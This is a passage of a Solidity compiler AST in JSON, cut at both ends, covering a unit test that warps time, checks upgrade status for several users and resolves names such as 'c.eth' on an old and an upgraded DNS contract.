User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":671,"name":"Identifier","src":"2421:5:2"},{"attributes":{"hexvalue":"33","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 3","value":"3"},"id":672,"name":"Literal","src":"2427:1:2"}],"id":673,"name":"IndexAccess","src":"2421:8:2"}],"id":674,"name":"MemberAccess","src":"2421:14:2"}],"id":675,"name":"FunctionCall","src":"2421:16:2"}],"id":676,"name":"ExpressionStatement","src":"2421:16:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_rational_70_by_1","typeString":"int_const 70"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"warp","referencedDeclaration":1392,"type":"function (uint256) external"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":447,"type":"contract HEVMCheat","value":"hevm"},"id":677,"name":"Identifier","src":"2483:4:2"}],"id":679,"name":"MemberAccess","src":"2483:9:2"},{"attributes":{"hexvalue":"3730","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 70","value":"70"},"id":680,"name":"Literal","src":"2493:2:2"}],"id":681,"name":"FunctionCall","src":"2483:13:2"}],"id":682,"name":"ExpressionStatement","src":"2483:13:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"overloadedDeclarations":[null],"referencedDeclaration":2434,"type":"function (bool)","value":"assertTrue"},"id":683,"name":"Identifier","src":"2500:10:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!","prefix":true,"type":"bool"},"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"bool","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"upgradePlanned","referencedDeclaration":2049,"type":"function () view external returns (bool)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":457,"type":"contract Upgrade","value":"upgrade"},"id":684,"name":"Identifier","src":"2512:7:2"}],"id":685,"name":"MemberAccess","src":"2512:22:2"}],"id":686,"name":"FunctionCall","src":"2512:24:2"}],"id":687,"name":"UnaryOperation","src":"2511:25:2"}],"id":688,"name":"FunctionCall","src":"2500:37:2"}],"id":689,"name":"ExpressionStatement","src":"2500:37:2"},{"attributes":{"assignments":[691]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"up","scope":1142,"stateVariable":false,"storageLocation":"default","type":"bool","visibility":"internal"},"children":[{"attributes":{"name":"bool","type":"bool"},"id":690,"name":"ElementaryTypeName","src":"2542:4:2"}],"id":691,"name":"VariableDeclaration","src":"2542:7:2"}],"id":692,"name":"VariableDeclarationStatement","src":"2542:7:2"},{"attributes":{"assignments":[694]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"to","scope":1142,"stateVariable":false,"storageLocation":"default","type":"contract IDNS","visibility":"internal"},"children":[{"attributes":{"name":"IDNS","referencedDeclaration":1462,"type":"contract IDNS"},"id":693,"name":"UserDefinedTypeName","src":"2553:4:2"}],"id":694,"name":"VariableDeclaration","src":"2553:7:2"}],"id":695,"name":"VariableDeclarationStatement","src":"2553:7:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"tuple()"},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"type":"tuple(bool,contract IDNS)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":691,"type":"bool","value":"up"},"id":696,"name":"Identifier","src":"2598:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":694,"type":"contract IDNS","value":"to"},"id":697,"name":"Identifier","src":"2602:2:2"}],"id":698,"name":"TupleExpression","src":"2597:8:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bool,contract IDNS)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"activeUpgrade","referencedDeclaration":1886,"type":"function (address) view external returns (bool,contract IDNS)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":457,"type":"contract Upgrade","value":"upgrade"},"id":699,"name":"Identifier","src":"2608:7:2"}],"id":700,"name":"MemberAccess","src":"2608:21:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_User_$443","typeString":"contract User"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":701,"name":"ElementaryTypeName","src":"2630:7:2"}],"id":702,"name":"ElementaryTypeNameExpression","src":"2630:7:2"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":703,"name":"Identifier","src":"2638:5:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":704,"name":"Literal","src":"2644:1:2"}],"id":705,"name":"IndexAccess","src":"2638:8:2"}],"id":706,"name":"FunctionCall","src":"2630:17:2"}],"id":707,"name":"FunctionCall","src":"2608:40:2"}],"id":708,"name":"Assignment","src":"2597:51:2"}],"id":709,"name":"ExpressionStatement","src":"2597:51:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"overloadedDeclarations":[null],"referencedDeclaration":2434,"type":"function (bool)","value":"assertTrue"},"id":710,"name":"Identifier","src":"2652:10:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":691,"type":"bool","value":"up"},"id":711,"name":"Identifier","src":"2663:2:2"}],"id":712,"name":"FunctionCall","src":"2652:14:2"}],"id":713,"name":"ExpressionStatement","src":"2652:14:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2464,"type":"function (address,address)","value":"assertEq"},"id":714,"name":"Identifier","src":"2670:8:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDNS_$1462","typeString":"contract IDNS"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":715,"name":"ElementaryTypeName","src":"2679:7:2"}],"id":716,"name":"ElementaryTypeNameExpression","src":"2679:7:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":694,"type":"contract IDNS","value":"to"},"id":717,"name":"Identifier","src":"2687:2:2"}],"id":718,"name":"FunctionCall","src":"2679:11:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_UpgradedDNS_$2303","typeString":"contract UpgradedDNS"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":719,"name":"ElementaryTypeName","src":"2692:7:2"}],"id":720,"name":"ElementaryTypeNameExpression","src":"2692:7:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":451,"type":"contract UpgradedDNS","value":"up_dns"},"id":721,"name":"Identifier","src":"2700:6:2"}],"id":722,"name":"FunctionCall","src":"2692:15:2"}],"id":723,"name":"FunctionCall","src":"2670:38:2"}],"id":724,"name":"ExpressionStatement","src":"2670:38:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"tuple()"},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"type":"tuple(bool,contract IDNS)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":691,"type":"bool","value":"up"},"id":725,"name":"Identifier","src":"2773:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":694,"type":"contract IDNS","value":"to"},"id":726,"name":"Identifier","src":"2777:2:2"}],"id":727,"name":"TupleExpression","src":"2772:8:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bool,contract IDNS)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"activeUpgrade","referencedDeclaration":1886,"type":"function (address) view external returns (bool,contract IDNS)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":457,"type":"contract Upgrade","value":"upgrade"},"id":728,"name":"Identifier","src":"2783:7:2"}],"id":729,"name":"MemberAccess","src":"2783:21:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_User_$443","typeString":"contract User"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":730,"name":"ElementaryTypeName","src":"2805:7:2"}],"id":731,"name":"ElementaryTypeNameExpression","src":"2805:7:2"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":732,"name":"Identifier","src":"2813:5:2"},{"attributes":{"hexvalue":"31","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 1","value":"1"},"id":733,"name":"Literal","src":"2819:1:2"}],"id":734,"name":"IndexAccess","src":"2813:8:2"}],"id":735,"name":"FunctionCall","src":"2805:17:2"}],"id":736,"name":"FunctionCall","src":"2783:40:2"}],"id":737,"name":"Assignment","src":"2772:51:2"}],"id":738,"name":"ExpressionStatement","src":"2772:51:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"overloadedDeclarations":[null],"referencedDeclaration":2434,"type":"function (bool)","value":"assertTrue"},"id":739,"name":"Identifier","src":"2827:10:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!","prefix":true,"type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":691,"type":"bool","value":"up"},"id":740,"name":"Identifier","src":"2839:2:2"}],"id":741,"name":"UnaryOperation","src":"2838:3:2"}],"id":742,"name":"FunctionCall","src":"2827:15:2"}],"id":743,"name":"ExpressionStatement","src":"2827:15:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"tuple()"},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"type":"tuple(bool,contract IDNS)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":691,"type":"bool","value":"up"},"id":744,"name":"Identifier","src":"2920:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":694,"type":"contract IDNS","value":"to"},"id":745,"name":"Identifier","src":"2924:2:2"}],"id":746,"name":"TupleExpression","src":"2919:8:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bool,contract IDNS)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"activeUpgrade","referencedDeclaration":1886,"type":"function (address) view external returns (bool,contract IDNS)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":457,"type":"contract Upgrade","value":"upgrade"},"id":747,"name":"Identifier","src":"2930:7:2"}],"id":748,"name":"MemberAccess","src":"2930:21:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_User_$443","typeString":"contract User"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":749,"name":"ElementaryTypeName","src":"2952:7:2"}],"id":750,"name":"ElementaryTypeNameExpression","src":"2952:7:2"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":751,"name":"Identifier","src":"2960:5:2"},{"attributes":{"hexvalue":"32","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 2","value":"2"},"id":752,"name":"Literal","src":"2966:1:2"}],"id":753,"name":"IndexAccess","src":"2960:8:2"}],"id":754,"name":"FunctionCall","src":"2952:17:2"}],"id":755,"name":"FunctionCall","src":"2930:40:2"}],"id":756,"name":"Assignment","src":"2919:51:2"}],"id":757,"name":"ExpressionStatement","src":"2919:51:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"overloadedDeclarations":[null],"referencedDeclaration":2434,"type":"function (bool)","value":"assertTrue"},"id":758,"name":"Identifier","src":"2974:10:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!","prefix":true,"type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":691,"type":"bool","value":"up"},"id":759,"name":"Identifier","src":"2986:2:2"}],"id":760,"name":"UnaryOperation","src":"2985:3:2"}],"id":761,"name":"FunctionCall","src":"2974:15:2"}],"id":762,"name":"ExpressionStatement","src":"2974:15:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"tuple()"},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"type":"tuple(bool,contract IDNS)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":691,"type":"bool","value":"up"},"id":763,"name":"Identifier","src":"3021:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":694,"type":"contract IDNS","value":"to"},"id":764,"name":"Identifier","src":"3025:2:2"}],"id":765,"name":"TupleExpression","src":"3020:8:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bool,contract IDNS)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"activeUpgrade","referencedDeclaration":1886,"type":"function (address) view external returns (bool,contract IDNS)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":457,"type":"contract Upgrade","value":"upgrade"},"id":766,"name":"Identifier","src":"3031:7:2"}],"id":767,"name":"MemberAccess","src":"3031:21:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_User_$443","typeString":"contract User"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":768,"name":"ElementaryTypeName","src":"3053:7:2"}],"id":769,"name":"ElementaryTypeNameExpression","src":"3053:7:2"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":770,"name":"Identifier","src":"3061:5:2"},{"attributes":{"hexvalue":"33","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 3","value":"3"},"id":771,"name":"Literal","src":"3067:1:2"}],"id":772,"name":"IndexAccess","src":"3061:8:2"}],"id":773,"name":"FunctionCall","src":"3053:17:2"}],"id":774,"name":"FunctionCall","src":"3031:40:2"}],"id":775,"name":"Assignment","src":"3020:51:2"}],"id":776,"name":"ExpressionStatement","src":"3020:51:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"overloadedDeclarations":[null],"referencedDeclaration":2434,"type":"function (bool)","value":"assertTrue"},"id":777,"name":"Identifier","src":"3075:10:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":691,"type":"bool","value":"up"},"id":778,"name":"Identifier","src":"3086:2:2"}],"id":779,"name":"FunctionCall","src":"3075:14:2"}],"id":780,"name":"ExpressionStatement","src":"3075:14:2"},{"attributes":{"assignments":[782]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"d2","scope":1142,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":781,"name":"ElementaryTypeName","src":"3094:6:2"}],"id":782,"name":"VariableDeclaration","src":"3094:16:2"},{"attributes":{"hexvalue":"632e657468","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"c.eth\"","value":"c.eth"},"id":783,"name":"Literal","src":"3113:7:2"}],"id":784,"name":"VariableDeclarationStatement","src":"3094:26:2"},{"attributes":{"assignments":[786]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"i2","scope":1142,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":785,"name":"ElementaryTypeName","src":"3124:6:2"}],"id":786,"name":"VariableDeclaration","src":"3124:9:2"},{"attributes":{"hexvalue":"30783039306130623063","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 151653132","value":"0x090a0b0c"},"id":787,"name":"Literal","src":"3136:10:2"}],"id":788,"name":"VariableDeclarationStatement","src":"3124:22:2"},{"attributes":{"assignments":[790]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"d3","scope":1142,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":789,"name":"ElementaryTypeName","src":"3150:6:2"}],"id":790,"name":"VariableDeclaration","src":"3150:16:2"},{"attributes":{"hexvalue":"642e657468","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"d.eth\"","value":"d.eth"},"id":791,"name":"Literal","src":"3169:7:2"}],"id":792,"name":"VariableDeclarationStatement","src":"3150:26:2"},{"attributes":{"assignments":[794]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"i3","scope":1142,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":793,"name":"ElementaryTypeName","src":"3180:6:2"}],"id":794,"name":"VariableDeclaration","src":"3180:9:2"},{"attributes":{"hexvalue":"30783064306530663066","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 219025167","value":"0x0d0e0f0f"},"id":795,"name":"Literal","src":"3192:10:2"}],"id":796,"name":"VariableDeclarationStatement","src":"3180:22:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"register","referencedDeclaration":356,"type":"function (string memory,bytes4) external"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":797,"name":"Identifier","src":"3352:5:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":798,"name":"Literal","src":"3358:1:2"}],"id":799,"name":"IndexAccess","src":"3352:8:2"}],"id":800,"name":"MemberAccess","src":"3352:17:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":782,"type":"string memory","value":"d2"},"id":801,"name":"Identifier","src":"3370:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":786,"type":"bytes4","value":"i2"},"id":802,"name":"Identifier","src":"3374:2:2"}],"id":803,"name":"FunctionCall","src":"3352:25:2"}],"id":804,"name":"ExpressionStatement","src":"3352:25:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"tuple()"},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"type":"tuple(bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":805,"name":"Identifier","src":"3429:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":806,"name":"Identifier","src":"3433:5:2"}],"id":807,"name":"TupleExpression","src":"3428:11:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bytes4,address)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"resolve","referencedDeclaration":307,"type":"function (string memory) view external returns (bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":449,"type":"contract DNS","value":"dns"},"id":808,"name":"Identifier","src":"3442:3:2"}],"id":809,"name":"MemberAccess","src":"3442:11:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":782,"type":"string memory","value":"d2"},"id":810,"name":"Identifier","src":"3454:2:2"}],"id":811,"name":"FunctionCall","src":"3442:15:2"}],"id":812,"name":"Assignment","src":"3428:29:2"}],"id":813,"name":"ExpressionStatement","src":"3428:29:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2507,"type":"function (bytes32,bytes32)","value":"assertEq"},"id":814,"name":"Identifier","src":"3461:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":815,"name":"Identifier","src":"3470:2:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":816,"name":"Literal","src":"3474:1:2"}],"id":817,"name":"FunctionCall","src":"3461:15:2"}],"id":818,"name":"ExpressionStatement","src":"3461:15:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2464,"type":"function (address,address)","value":"assertEq"},"id":819,"name":"Identifier","src":"3480:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":820,"name":"Identifier","src":"3489:5:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":true,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address payable","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":821,"name":"ElementaryTypeName","src":"3496:7:2"}],"id":822,"name":"ElementaryTypeNameExpression","src":"3496:7:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":823,"name":"Literal","src":"3504:1:2"}],"id":824,"name":"FunctionCall","src":"3496:10:2"}],"id":825,"name":"FunctionCall","src":"3480:27:2"}],"id":826,"name":"ExpressionStatement","src":"3480:27:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"tuple()"},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"type":"tuple(bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":827,"name":"Identifier","src":"3549:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":828,"name":"Identifier","src":"3553:5:2"}],"id":829,"name":"TupleExpression","src":"3548:11:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bytes4,address)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"resolve","referencedDeclaration":2302,"type":"function (string memory) view external returns (bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":451,"type":"contract UpgradedDNS","value":"up_dns"},"id":830,"name":"Identifier","src":"3562:6:2"}],"id":831,"name":"MemberAccess","src":"3562:14:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":782,"type":"string memory","value":"d2"},"id":832,"name":"Identifier","src":"3577:2:2"}],"id":833,"name":"FunctionCall","src":"3562:18:2"}],"id":834,"name":"Assignment","src":"3548:32:2"}],"id":835,"name":"ExpressionStatement","src":"3548:32:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2507,"type":"function 